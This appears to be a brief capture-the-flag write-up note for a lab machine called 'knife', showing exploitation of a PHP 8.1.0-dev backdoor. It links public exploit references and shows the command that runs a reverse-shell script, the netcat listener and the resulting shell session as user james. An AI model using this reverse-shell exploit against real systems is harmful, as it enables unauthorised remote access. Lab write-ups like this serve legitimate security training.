2 :80 php 8.1.0 dev

Found

• https://www.exploit-db.com/exploits/49933

• https://flast101.github.io/php-8.1.0-dev-backdoor-rce/

• POC: https://github.com/flast101/php-8.1.0-dev-backdoor-rce

$ python3 revshell_php_8.1.0-dev.py http://10.10.10.242 10.10.16.161 6969 

$ rlwrap nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.16.161] from (UNKNOWN) [10.10.10.242] 47758
bash: cannot set terminal process group (964): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ whoami;id
james
uid=1000(james) gid=1000(james) groups=1000(james)
james@knife:/$